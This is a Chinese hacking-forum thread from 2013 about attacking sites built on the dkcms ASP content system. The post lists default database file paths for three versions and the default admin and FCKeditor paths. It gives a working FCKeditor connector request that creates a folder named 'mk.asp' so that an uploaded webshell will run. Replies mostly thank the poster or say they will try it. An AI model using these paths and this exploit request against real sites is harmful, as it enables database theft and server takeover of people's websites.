动科(dkcms)漏洞

made · 发表于 2013-1-10 12:34:21

主要是差不多3个版本为主，v2.0 v3.1 v4.2

谷歌关键字：

游客，如果您要查看本帖隐藏内容请回复

  官网竟然找不到源码下载，就百度了，下载了这3款源码，因为是asp的源码，大多都是看看默认数据库，一下是三款默认数据库

V2.0 data/dkcm_ssdfhwejkfs.mdb

V3.1 _data/___dkcms_30_free.mdb

V4.2 _data/I^(()UU()H.mdb

  默认后台：admin

  编辑器：admin/fckeditor

  这些都是，由此可见，官方安全意识挺差的，至于后台拿shell，fck编辑器突破可拿shell

建立asp文件夹
Fck的路径：

Admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/mk.asp&NewFolderName=mk.asp

复制代码

BY:Morker

635634436 · 发表于 2013-1-10 13:33:14

感谢分享！

xiaolynn · 发表于 2013-1-10 16:38:44

谢谢，去试下，，

zero123 · 发表于 2013-1-10 22:24:18

看看，师是否真的有用

显示全部楼层 · 发表于 2013-1-11 09:10:34

提示: 作者被禁止或删除内容自动屏蔽

zxc979647835 · 发表于 2013-1-11 10:57:47

死死死死死死

a1144641354 · 发表于 2013-1-12 19:16:15

学习了啊哈哈

john菜鸟 · 发表于 2013-1-13 14:16:44

可以撸。。

love · 发表于 2013-1-13 17:12:33

看看可以秒杀不

显示全部楼层 · 发表于 2013-1-14 13:51:11

提示: 作者被禁止或删除内容自动屏蔽

08小天该用户已被删除	发表于 2013-1-11 09:10:34 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
08小天该用户已被删除
	回复支持反对使用道具举报

aa976102759 该用户已被删除	发表于 2013-1-14 13:51:11 \| 显示全部楼层提示: 作者被禁止或删除内容自动屏蔽
aa976102759 该用户已被删除
	回复支持反对使用道具举报

动科(dkcms)漏洞

评分

指导单位

旗下站点

联系我们